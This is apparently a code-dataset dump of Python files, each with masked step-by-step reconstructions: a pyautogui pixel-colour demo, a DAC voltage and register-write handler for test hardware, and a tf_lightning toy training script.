Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs')\n\n with self.assertRaises(RuntimeError):\n sl_prj.printToPdf({})\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
""" pyautogui 屏幕像素获取、屏幕像素匹配 @author : zhouhuajian @version : v1.0 """ from pyautogui import pixel, pixelMatchesColor, screenshot """ 主要内容: 1. pixel() - 获取屏幕像素; 2. pixelMatchesColor() - 屏幕像素匹配颜色。 """ def test_pixel_pixelMatchesColor(): """屏幕像素获取、屏幕像素匹配""" # img = screenshot() # print(img) # print(img.getpixel((44, 107))) # (149, 212, 234) # print(pixel(44, 107)) # 根据上面返回值修改color # print(pixelMatchesColor(44, 107, (149, 212, 234))) # print(pixelMatchesColor(44, 107, (148, 212, 234))) # color简单调整 print(pixelMatchesColor(44, 107, (148, 212, 234), tolerance=20)) print(pixelMatchesColor(44, 107, (100, 212, 234), tolerance=20)) # 看看小项目 重试、等待 test_pixel_pixelMatchesColor()
normal
{ "blob_id": "c15faf9df8fa2e1ad89ea2c922ab0551eaa69d3f", "index": 1936, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef test_pixel_pixelMatchesColor():\n \"\"\"屏幕像素获取、屏幕像素匹配\"\"\"\n print(pixelMatchesColor(44, 107, (148, 212, 234), tolerance=20))\n print(pixelMatchesColor(44, 107, (100, 212, 234), tolerance=20))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef test_pixel_pixelMatchesColor():\n \"\"\"屏幕像素获取、屏幕像素匹配\"\"\"\n print(pixelMatchesColor(44, 107, (148, 212, 234), tolerance=20))\n print(pixelMatchesColor(44, 107, (100, 212, 234), tolerance=20))\n\n\ntest_pixel_pixelMatchesColor()\n", "step-4": "<mask token>\nfrom pyautogui import pixel, pixelMatchesColor, screenshot\n<mask token>\n\n\ndef test_pixel_pixelMatchesColor():\n \"\"\"屏幕像素获取、屏幕像素匹配\"\"\"\n print(pixelMatchesColor(44, 107, (148, 212, 234), tolerance=20))\n print(pixelMatchesColor(44, 107, (100, 212, 234), tolerance=20))\n\n\ntest_pixel_pixelMatchesColor()\n", "step-5": "\"\"\"\npyautogui 屏幕像素获取、屏幕像素匹配\n\n@author : zhouhuajian\n@version : v1.0\n\"\"\"\n\nfrom pyautogui import pixel, pixelMatchesColor, screenshot\n\n\"\"\"\n主要内容:\n1. pixel() - 获取屏幕像素;\n2. pixelMatchesColor() - 屏幕像素匹配颜色。\n\"\"\"\n\n\ndef test_pixel_pixelMatchesColor():\n \"\"\"屏幕像素获取、屏幕像素匹配\"\"\"\n # img = screenshot()\n # print(img)\n # print(img.getpixel((44, 107)))\n # (149, 212, 234)\n\n # print(pixel(44, 107))\n\n # 根据上面返回值修改color\n # print(pixelMatchesColor(44, 107, (149, 212, 234)))\n # print(pixelMatchesColor(44, 107, (148, 212, 234)))\n\n # color简单调整\n print(pixelMatchesColor(44, 107, (148, 212, 234), tolerance=20))\n print(pixelMatchesColor(44, 107, (100, 212, 234), tolerance=20))\n\n # 看看小项目 重试、等待\n\n\ntest_pixel_pixelMatchesColor()\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
#-*- coding: UTF-8 -*- import re import time import sys import command.server.handle_utility as Utility from ee.common import logger from ee.common import xavier as Xavier1 sys.path.append('/opt/seeing/app/') from b31_bp import xavier1 as Xavier2 global agv agv=sys.argv[1] Xavier=Xavier1 xavier_module = {"tcp:7801":Xavier1, "tcp:7802":Xavier2} if agv in xavier_module: Xavier=xavier_module[agv] test_base_board_name = "zynq" global batt_value batt_value={"current":1,"voltage":1,}#current unit mA,mV global vbus_value vbus_value={"current":1,"voltage":1,}#current unit mA,mV dac_list=[ "psu1_ocp" , "psu1_ovp", "psu1_ocp_ad5601" , "psu1_ovp_ad5601", "psu1_current", "psu1_voltage", "psu2_ocp", "psu2_ovp","psu2_ocp_ad5601", "psu2_ovp_ad5601","psu2_current", "psu3_ocp","psu3_ocp_ad5601","psu3_ovp", "psu2_voltage","psu3_ovp_ad5601", "psu3_current" ,"psu3_voltage", "base_board"] help_str='' for i in dac_list: help_str=help_str+i+',\r\n\t ' # global calibration_var # def _calibration_init(): # global calibration_var # """从eeprom读取数据的程序""" # _calibration_init()#这个函数模块一 # def dac_voltage_set_handle(params): help_info = "dac set(<channel>,<value>)$\r\n\ \t channel("+help_str+")\tvalue: (if ad5761: (0~10000) unit:mv,else :(0~5000) unit:mv) $\r\n" ''' params init ''' ''' help ''' if Utility.is_ask_for_help(params) is True: return Utility.handle_done(help_info) ''' parametr analysis ''' if len(params)!=2: return Utility.handle_error(Utility.handle_errorno["handle_errno_parameter_invalid"],\ "param length error" ) channel=params[0] if channel not in dac_list: return Utility.handle_error(Utility.handle_errorno["handle_errno_parameter_invalid"] ,\ "channel parameter error" ) volt_value=float(params[1]) if channel=="psu3_voltage" or channel=="psu2_voltage" : if volt_value<0 or volt_value>10000: return Utility.handle_error(Utility.handle_errorno['handle_errno_parameter_invalid'],\ "param voltage value error" + str(volt_value)) elif channel=="base_board" : if volt_value<0 or volt_value>3300: return Utility.handle_error(Utility.handle_errorno['handle_errno_parameter_invalid'],\ "param voltage value error" + str(volt_value)) else: if volt_value<0 or volt_value>5000: return Utility.handle_error(Utility.handle_errorno['handle_errno_parameter_invalid'],\ "param voltage value error" + str(volt_value)) ret=Xavier.call("eval",test_base_board_name,"voltage_set",channel,volt_value) if ret==False: return Utility.handle_error(Utility.handle_errorno['handle_errno_execute_failure'],\ "execute error") return Utility.handle_done() def dac_5761_write_register_handle(params): help_info = "ad5761 register write(<addr>,<data>)$\r\n\ \t addr:register address $\r\n\ \t data:2byte data\r\n" ''' params init ''' ''' help ''' if Utility.is_ask_for_help(params) is True: return Utility.handle_done(help_info) ''' parametr analysis ''' if len(params)!=2: return Utility.handle_error(Utility.handle_errorno["handle_errno_parameter_invalid"],\ "param length error" ) addr=int(params[0],16) data=int(params[1],16) ret=Xavier.call("eval",test_base_board_name,"ad5761_write_register",addr,data) if ret==False: return Utility.handle_error(Utility.handle_errorno['handle_errno_execute_failure'],\ "execute error") return Utility.handle_done()
normal
{ "blob_id": "10e1756dc1d6c7b6b7e3569de78e9fa4cdfb0d7e", "index": 7136, "step-1": "<mask token>\n\n\ndef dac_voltage_set_handle(params):\n help_info = ('dac set(<channel>,<value>)$\\r\\n \\t channel(' +\n help_str +\n ')\\tvalue: (if ad5761: (0~10000) unit:mv,else :(0~5000) unit:mv) $\\r\\n'\n )\n \"\"\" params init \"\"\"\n \"\"\" help \"\"\"\n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \"\"\" parametr analysis \"\"\"\n if len(params) != 2:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param length error')\n channel = params[0]\n if channel not in dac_list:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'channel parameter error')\n volt_value = float(params[1])\n if channel == 'psu3_voltage' or channel == 'psu2_voltage':\n if volt_value < 0 or volt_value > 10000:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], \n 'param voltage value error' + str(volt_value))\n elif channel == 'base_board':\n if volt_value < 0 or volt_value > 3300:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], \n 'param voltage value error' + str(volt_value))\n elif volt_value < 0 or volt_value > 5000:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param voltage value error' +\n str(volt_value))\n ret = Xavier.call('eval', test_base_board_name, 'voltage_set', channel,\n volt_value)\n if ret == False:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_execute_failure'], 'execute error')\n return Utility.handle_done()\n\n\ndef dac_5761_write_register_handle(params):\n help_info = (\n 'ad5761 register write(<addr>,<data>)$\\r\\n \\t addr:register address $\\r\\n \\t data:2byte data\\r\\n'\n )\n \"\"\" params init \"\"\"\n \"\"\" help \"\"\"\n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \"\"\" parametr analysis \"\"\"\n if len(params) != 2:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param length error')\n addr = int(params[0], 16)\n data = int(params[1], 16)\n ret = Xavier.call('eval', test_base_board_name, 'ad5761_write_register',\n addr, data)\n if ret == False:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_execute_failure'], 'execute error')\n return Utility.handle_done()\n", "step-2": "<mask token>\nsys.path.append('/opt/seeing/app/')\n<mask token>\nglobal agv\n<mask token>\nif agv in xavier_module:\n Xavier = xavier_module[agv]\n<mask token>\nglobal batt_value\n<mask token>\nglobal vbus_value\n<mask token>\nfor i in dac_list:\n help_str = help_str + i + ',\\r\\n\\t '\n\n\ndef dac_voltage_set_handle(params):\n help_info = ('dac set(<channel>,<value>)$\\r\\n \\t channel(' +\n help_str +\n ')\\tvalue: (if ad5761: (0~10000) unit:mv,else :(0~5000) unit:mv) $\\r\\n'\n )\n \"\"\" params init \"\"\"\n \"\"\" help \"\"\"\n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \"\"\" parametr analysis \"\"\"\n if len(params) != 2:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param length error')\n channel = params[0]\n if channel not in dac_list:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'channel parameter error')\n volt_value = float(params[1])\n if channel == 'psu3_voltage' or channel == 'psu2_voltage':\n if volt_value < 0 or volt_value > 10000:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], \n 'param voltage value error' + str(volt_value))\n elif channel == 'base_board':\n if volt_value < 0 or volt_value > 3300:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], \n 'param voltage value error' + str(volt_value))\n elif volt_value < 0 or volt_value > 5000:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param voltage value error' +\n str(volt_value))\n ret = Xavier.call('eval', test_base_board_name, 'voltage_set', channel,\n volt_value)\n if ret == False:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_execute_failure'], 'execute error')\n return Utility.handle_done()\n\n\ndef dac_5761_write_register_handle(params):\n help_info = (\n 'ad5761 register write(<addr>,<data>)$\\r\\n \\t addr:register address $\\r\\n \\t data:2byte data\\r\\n'\n )\n \"\"\" params init \"\"\"\n \"\"\" help \"\"\"\n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \"\"\" parametr analysis \"\"\"\n if len(params) != 2:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param length error')\n addr = int(params[0], 16)\n data = int(params[1], 16)\n ret = Xavier.call('eval', test_base_board_name, 'ad5761_write_register',\n addr, data)\n if ret == False:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_execute_failure'], 'execute error')\n return Utility.handle_done()\n", "step-3": "<mask token>\nsys.path.append('/opt/seeing/app/')\n<mask token>\nglobal agv\nagv = sys.argv[1]\nXavier = Xavier1\nxavier_module = {'tcp:7801': Xavier1, 'tcp:7802': Xavier2}\nif agv in xavier_module:\n Xavier = xavier_module[agv]\ntest_base_board_name = 'zynq'\nglobal batt_value\nbatt_value = {'current': 1, 'voltage': 1}\nglobal vbus_value\nvbus_value = {'current': 1, 'voltage': 1}\ndac_list = ['psu1_ocp', 'psu1_ovp', 'psu1_ocp_ad5601', 'psu1_ovp_ad5601',\n 'psu1_current', 'psu1_voltage', 'psu2_ocp', 'psu2_ovp',\n 'psu2_ocp_ad5601', 'psu2_ovp_ad5601', 'psu2_current', 'psu3_ocp',\n 'psu3_ocp_ad5601', 'psu3_ovp', 'psu2_voltage', 'psu3_ovp_ad5601',\n 'psu3_current', 'psu3_voltage', 'base_board']\nhelp_str = ''\nfor i in dac_list:\n help_str = help_str + i + ',\\r\\n\\t '\n\n\ndef dac_voltage_set_handle(params):\n help_info = ('dac set(<channel>,<value>)$\\r\\n \\t channel(' +\n help_str +\n ')\\tvalue: (if ad5761: (0~10000) unit:mv,else :(0~5000) unit:mv) $\\r\\n'\n )\n \"\"\" params init \"\"\"\n \"\"\" help \"\"\"\n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \"\"\" parametr analysis \"\"\"\n if len(params) != 2:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param length error')\n channel = params[0]\n if channel not in dac_list:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'channel parameter error')\n volt_value = float(params[1])\n if channel == 'psu3_voltage' or channel == 'psu2_voltage':\n if volt_value < 0 or volt_value > 10000:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], \n 'param voltage value error' + str(volt_value))\n elif channel == 'base_board':\n if volt_value < 0 or volt_value > 3300:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], \n 'param voltage value error' + str(volt_value))\n elif volt_value < 0 or volt_value > 5000:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param voltage value error' +\n str(volt_value))\n ret = Xavier.call('eval', test_base_board_name, 'voltage_set', channel,\n volt_value)\n if ret == False:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_execute_failure'], 'execute error')\n return Utility.handle_done()\n\n\ndef dac_5761_write_register_handle(params):\n help_info = (\n 'ad5761 register write(<addr>,<data>)$\\r\\n \\t addr:register address $\\r\\n \\t data:2byte data\\r\\n'\n )\n \"\"\" params init \"\"\"\n \"\"\" help \"\"\"\n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \"\"\" parametr analysis \"\"\"\n if len(params) != 2:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param length error')\n addr = int(params[0], 16)\n data = int(params[1], 16)\n ret = Xavier.call('eval', test_base_board_name, 'ad5761_write_register',\n addr, data)\n if ret == False:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_execute_failure'], 'execute error')\n return Utility.handle_done()\n", "step-4": "import re\nimport time\nimport sys\nimport command.server.handle_utility as Utility\nfrom ee.common import logger\nfrom ee.common import xavier as Xavier1\nsys.path.append('/opt/seeing/app/')\nfrom b31_bp import xavier1 as Xavier2\nglobal agv\nagv = sys.argv[1]\nXavier = Xavier1\nxavier_module = {'tcp:7801': Xavier1, 'tcp:7802': Xavier2}\nif agv in xavier_module:\n Xavier = xavier_module[agv]\ntest_base_board_name = 'zynq'\nglobal batt_value\nbatt_value = {'current': 1, 'voltage': 1}\nglobal vbus_value\nvbus_value = {'current': 1, 'voltage': 1}\ndac_list = ['psu1_ocp', 'psu1_ovp', 'psu1_ocp_ad5601', 'psu1_ovp_ad5601',\n 'psu1_current', 'psu1_voltage', 'psu2_ocp', 'psu2_ovp',\n 'psu2_ocp_ad5601', 'psu2_ovp_ad5601', 'psu2_current', 'psu3_ocp',\n 'psu3_ocp_ad5601', 'psu3_ovp', 'psu2_voltage', 'psu3_ovp_ad5601',\n 'psu3_current', 'psu3_voltage', 'base_board']\nhelp_str = ''\nfor i in dac_list:\n help_str = help_str + i + ',\\r\\n\\t '\n\n\ndef dac_voltage_set_handle(params):\n help_info = ('dac set(<channel>,<value>)$\\r\\n \\t channel(' +\n help_str +\n ')\\tvalue: (if ad5761: (0~10000) unit:mv,else :(0~5000) unit:mv) $\\r\\n'\n )\n \"\"\" params init \"\"\"\n \"\"\" help \"\"\"\n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \"\"\" parametr analysis \"\"\"\n if len(params) != 2:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param length error')\n channel = params[0]\n if channel not in dac_list:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'channel parameter error')\n volt_value = float(params[1])\n if channel == 'psu3_voltage' or channel == 'psu2_voltage':\n if volt_value < 0 or volt_value > 10000:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], \n 'param voltage value error' + str(volt_value))\n elif channel == 'base_board':\n if volt_value < 0 or volt_value > 3300:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], \n 'param voltage value error' + str(volt_value))\n elif volt_value < 0 or volt_value > 5000:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param voltage value error' +\n str(volt_value))\n ret = Xavier.call('eval', test_base_board_name, 'voltage_set', channel,\n volt_value)\n if ret == False:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_execute_failure'], 'execute error')\n return Utility.handle_done()\n\n\ndef dac_5761_write_register_handle(params):\n help_info = (\n 'ad5761 register write(<addr>,<data>)$\\r\\n \\t addr:register address $\\r\\n \\t data:2byte data\\r\\n'\n )\n \"\"\" params init \"\"\"\n \"\"\" help \"\"\"\n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \"\"\" parametr analysis \"\"\"\n if len(params) != 2:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_parameter_invalid'], 'param length error')\n addr = int(params[0], 16)\n data = int(params[1], 16)\n ret = Xavier.call('eval', test_base_board_name, 'ad5761_write_register',\n addr, data)\n if ret == False:\n return Utility.handle_error(Utility.handle_errorno[\n 'handle_errno_execute_failure'], 'execute error')\n return Utility.handle_done()\n", "step-5": "#-*- coding: UTF-8 -*-\nimport re\nimport time\nimport sys\nimport command.server.handle_utility as Utility\nfrom ee.common import logger\nfrom ee.common import xavier as Xavier1\nsys.path.append('/opt/seeing/app/')\nfrom b31_bp import xavier1 as Xavier2\n\nglobal agv\nagv=sys.argv[1]\nXavier=Xavier1\nxavier_module = {\"tcp:7801\":Xavier1, \"tcp:7802\":Xavier2}\nif agv in xavier_module:\n Xavier=xavier_module[agv]\n \ntest_base_board_name = \"zynq\"\n\nglobal batt_value\nbatt_value={\"current\":1,\"voltage\":1,}#current unit mA,mV\n\nglobal vbus_value\nvbus_value={\"current\":1,\"voltage\":1,}#current unit mA,mV\n\ndac_list=[ \"psu1_ocp\" , \"psu1_ovp\", \"psu1_ocp_ad5601\" , \"psu1_ovp_ad5601\", \"psu1_current\", \"psu1_voltage\",\n \"psu2_ocp\", \"psu2_ovp\",\"psu2_ocp_ad5601\", \"psu2_ovp_ad5601\",\"psu2_current\", \"psu3_ocp\",\"psu3_ocp_ad5601\",\"psu3_ovp\", \"psu2_voltage\",\"psu3_ovp_ad5601\", \"psu3_current\" ,\"psu3_voltage\", \"base_board\"]\nhelp_str=''\nfor i in dac_list:\n help_str=help_str+i+',\\r\\n\\t '\n\n# global calibration_var \n# def _calibration_init():\n# global calibration_var \n# \"\"\"从eeprom读取数据的程序\"\"\"\n# _calibration_init()#这个函数模块一\n# \n\ndef dac_voltage_set_handle(params):\n help_info = \"dac set(<channel>,<value>)$\\r\\n\\\n \\t channel(\"+help_str+\")\\tvalue: (if ad5761: (0~10000) unit:mv,else :(0~5000) unit:mv) $\\r\\n\"\n ''' params init ''' \n ''' help ''' \n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \n ''' parametr analysis '''\n if len(params)!=2:\n return Utility.handle_error(Utility.handle_errorno[\"handle_errno_parameter_invalid\"],\\\n \"param length error\" ) \n channel=params[0]\n if channel not in dac_list:\n return Utility.handle_error(Utility.handle_errorno[\"handle_errno_parameter_invalid\"] ,\\\n \"channel parameter error\" ) \n volt_value=float(params[1])\n if channel==\"psu3_voltage\" or channel==\"psu2_voltage\" :\n if volt_value<0 or volt_value>10000:\n return Utility.handle_error(Utility.handle_errorno['handle_errno_parameter_invalid'],\\\n \"param voltage value error\" + str(volt_value)) \n elif channel==\"base_board\" :\n if volt_value<0 or volt_value>3300:\n return Utility.handle_error(Utility.handle_errorno['handle_errno_parameter_invalid'],\\\n \"param voltage value error\" + str(volt_value)) \n else:\n if volt_value<0 or volt_value>5000:\n return Utility.handle_error(Utility.handle_errorno['handle_errno_parameter_invalid'],\\\n \"param voltage value error\" + str(volt_value)) \n ret=Xavier.call(\"eval\",test_base_board_name,\"voltage_set\",channel,volt_value)\n if ret==False:\n return Utility.handle_error(Utility.handle_errorno['handle_errno_execute_failure'],\\\n \"execute error\") \n return Utility.handle_done()\ndef dac_5761_write_register_handle(params):\n help_info = \"ad5761 register write(<addr>,<data>)$\\r\\n\\\n \\t addr:register address $\\r\\n\\\n \\t data:2byte data\\r\\n\"\n ''' params init ''' \n ''' help ''' \n if Utility.is_ask_for_help(params) is True:\n return Utility.handle_done(help_info)\n \n ''' parametr analysis '''\n if len(params)!=2:\n return Utility.handle_error(Utility.handle_errorno[\"handle_errno_parameter_invalid\"],\\\n \"param length error\" ) \n addr=int(params[0],16) \n data=int(params[1],16) \n ret=Xavier.call(\"eval\",test_base_board_name,\"ad5761_write_register\",addr,data)\n if ret==False:\n return Utility.handle_error(Utility.handle_errorno['handle_errno_execute_failure'],\\\n \"execute error\") \n return Utility.handle_done()\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
# __author__ = 'Vasudev Gupta' import tf_lightning as tl import tensorflow as tf class TestModel(tl.LightningModule): # just a random model with random dataset def __init__(self): # simple test model super().__init__() self.model = tf.keras.Sequential([ tf.keras.layers.Dense(5), tf.keras.layers.Dense(2) ]) def call(self, dataset): return self.model(dataset) def configure_optimizers(self): return tf.keras.optimizers.Adam(0.1), def training_step(self, batch, batch_idx, optimizer_idx): pred = self(batch) loss = tf.reduce_mean(pred) log = {'batch_idx': batch_idx, 'tr_loss': loss} result = tl.TrainResult( loss, self.model.trainable_variables, log=log) return result def validation_step(self, batch, batch_idx, optimizer_idx): pred = self(batch) loss = tf.reduce_mean(pred) log = {'batch_idx': batch_idx, 'val_loss': loss} result = tl.EvalResult(loss, log=log) return result def checkpointer(self): return tf.train.Checkpoint(m=self.model, opt0=self.optimizer_0) class TestDataLoader(tl.LightningDataModule): # using random dataset def __init__(self): self.batch_size = 32 def setup(self): self.tr_dataset = tf.random.normal((256, 7)) self.val_dataset = tf.random.normal((64, 7)) def train_dataloader(self): dataset = tf.data.Dataset.from_tensor_slices( self.tr_dataset).batch(self.batch_size) return dataset def val_dataloader(self): dataset = tf.data.Dataset.from_tensor_slices( self.val_dataset).batch(self.batch_size) return dataset if __name__ == '__main__': model = TestModel() dataloader = TestDataLoader() trainer = tl.Trainer() trainer.fit(model, dataloader)
normal
{ "blob_id": "f2397ba3fe1452238f251111f35b06b4a93e0359", "index": 2441, "step-1": "<mask token>\n\n\nclass TestModel(tl.LightningModule):\n <mask token>\n <mask token>\n <mask token>\n\n def training_step(self, batch, batch_idx, optimizer_idx):\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n log = {'batch_idx': batch_idx, 'tr_loss': loss}\n result = tl.TrainResult(loss, self.model.trainable_variables, log=log)\n return result\n <mask token>\n <mask token>\n\n\nclass TestDataLoader(tl.LightningDataModule):\n\n def __init__(self):\n self.batch_size = 32\n\n def setup(self):\n self.tr_dataset = tf.random.normal((256, 7))\n self.val_dataset = tf.random.normal((64, 7))\n\n def train_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(self.tr_dataset).batch(\n self.batch_size)\n return dataset\n\n def val_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(self.val_dataset).batch(\n self.batch_size)\n return dataset\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestModel(tl.LightningModule):\n\n def __init__(self):\n super().__init__()\n self.model = tf.keras.Sequential([tf.keras.layers.Dense(5), tf.\n keras.layers.Dense(2)])\n\n def call(self, dataset):\n return self.model(dataset)\n\n def configure_optimizers(self):\n return tf.keras.optimizers.Adam(0.1),\n\n def training_step(self, batch, batch_idx, optimizer_idx):\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n log = {'batch_idx': batch_idx, 'tr_loss': loss}\n result = tl.TrainResult(loss, self.model.trainable_variables, log=log)\n return result\n\n def validation_step(self, batch, batch_idx, optimizer_idx):\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n log = {'batch_idx': batch_idx, 'val_loss': loss}\n result = tl.EvalResult(loss, log=log)\n return result\n <mask token>\n\n\nclass TestDataLoader(tl.LightningDataModule):\n\n def __init__(self):\n self.batch_size = 32\n\n def setup(self):\n self.tr_dataset = tf.random.normal((256, 7))\n self.val_dataset = tf.random.normal((64, 7))\n\n def train_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(self.tr_dataset).batch(\n self.batch_size)\n return dataset\n\n def val_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(self.val_dataset).batch(\n self.batch_size)\n return dataset\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestModel(tl.LightningModule):\n\n def __init__(self):\n super().__init__()\n self.model = tf.keras.Sequential([tf.keras.layers.Dense(5), tf.\n keras.layers.Dense(2)])\n\n def call(self, dataset):\n return self.model(dataset)\n\n def configure_optimizers(self):\n return tf.keras.optimizers.Adam(0.1),\n\n def training_step(self, batch, batch_idx, optimizer_idx):\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n log = {'batch_idx': batch_idx, 'tr_loss': loss}\n result = tl.TrainResult(loss, self.model.trainable_variables, log=log)\n return result\n\n def validation_step(self, batch, batch_idx, optimizer_idx):\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n log = {'batch_idx': batch_idx, 'val_loss': loss}\n result = tl.EvalResult(loss, log=log)\n return result\n\n def checkpointer(self):\n return tf.train.Checkpoint(m=self.model, opt0=self.optimizer_0)\n\n\nclass TestDataLoader(tl.LightningDataModule):\n\n def __init__(self):\n self.batch_size = 32\n\n def setup(self):\n self.tr_dataset = tf.random.normal((256, 7))\n self.val_dataset = tf.random.normal((64, 7))\n\n def train_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(self.tr_dataset).batch(\n self.batch_size)\n return dataset\n\n def val_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(self.val_dataset).batch(\n self.batch_size)\n return dataset\n\n\n<mask token>\n", "step-4": "import tf_lightning as tl\nimport tensorflow as tf\n\n\nclass TestModel(tl.LightningModule):\n\n def __init__(self):\n super().__init__()\n self.model = tf.keras.Sequential([tf.keras.layers.Dense(5), tf.\n keras.layers.Dense(2)])\n\n def call(self, dataset):\n return self.model(dataset)\n\n def configure_optimizers(self):\n return tf.keras.optimizers.Adam(0.1),\n\n def training_step(self, batch, batch_idx, optimizer_idx):\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n log = {'batch_idx': batch_idx, 'tr_loss': loss}\n result = tl.TrainResult(loss, self.model.trainable_variables, log=log)\n return result\n\n def validation_step(self, batch, batch_idx, optimizer_idx):\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n log = {'batch_idx': batch_idx, 'val_loss': loss}\n result = tl.EvalResult(loss, log=log)\n return result\n\n def checkpointer(self):\n return tf.train.Checkpoint(m=self.model, opt0=self.optimizer_0)\n\n\nclass TestDataLoader(tl.LightningDataModule):\n\n def __init__(self):\n self.batch_size = 32\n\n def setup(self):\n self.tr_dataset = tf.random.normal((256, 7))\n self.val_dataset = tf.random.normal((64, 7))\n\n def train_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(self.tr_dataset).batch(\n self.batch_size)\n return dataset\n\n def val_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(self.val_dataset).batch(\n self.batch_size)\n return dataset\n\n\nif __name__ == '__main__':\n model = TestModel()\n dataloader = TestDataLoader()\n trainer = tl.Trainer()\n trainer.fit(model, dataloader)\n", "step-5": "# __author__ = 'Vasudev Gupta'\n\nimport tf_lightning as tl\nimport tensorflow as tf\n\n\nclass TestModel(tl.LightningModule):\n # just a random model with random dataset\n\n def __init__(self):\n # simple test model\n super().__init__()\n\n self.model = tf.keras.Sequential([\n tf.keras.layers.Dense(5),\n tf.keras.layers.Dense(2)\n ])\n\n def call(self, dataset):\n return self.model(dataset)\n\n def configure_optimizers(self):\n return tf.keras.optimizers.Adam(0.1),\n\n def training_step(self, batch, batch_idx, optimizer_idx):\n\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n\n log = {'batch_idx': batch_idx, 'tr_loss': loss}\n result = tl.TrainResult(\n loss, self.model.trainable_variables, log=log)\n\n return result\n\n def validation_step(self, batch, batch_idx, optimizer_idx):\n\n pred = self(batch)\n loss = tf.reduce_mean(pred)\n\n log = {'batch_idx': batch_idx, 'val_loss': loss}\n result = tl.EvalResult(loss, log=log)\n\n return result\n\n def checkpointer(self):\n return tf.train.Checkpoint(m=self.model,\n opt0=self.optimizer_0)\n\n\nclass TestDataLoader(tl.LightningDataModule):\n # using random dataset\n\n def __init__(self):\n self.batch_size = 32\n\n def setup(self):\n self.tr_dataset = tf.random.normal((256, 7))\n self.val_dataset = tf.random.normal((64, 7))\n\n def train_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(\n self.tr_dataset).batch(self.batch_size)\n return dataset\n\n def val_dataloader(self):\n dataset = tf.data.Dataset.from_tensor_slices(\n self.val_dataset).batch(self.batch_size)\n return dataset\n\n\nif __name__ == '__main__':\n\n model = TestModel()\n\n dataloader = TestDataLoader()\n\n trainer = tl.Trainer()\n\n trainer.fit(model, dataloader)\n", "step-ids": [ 7, 11, 12, 14, 15 ] }
[ 7, 11, 12, 14, 15 ]
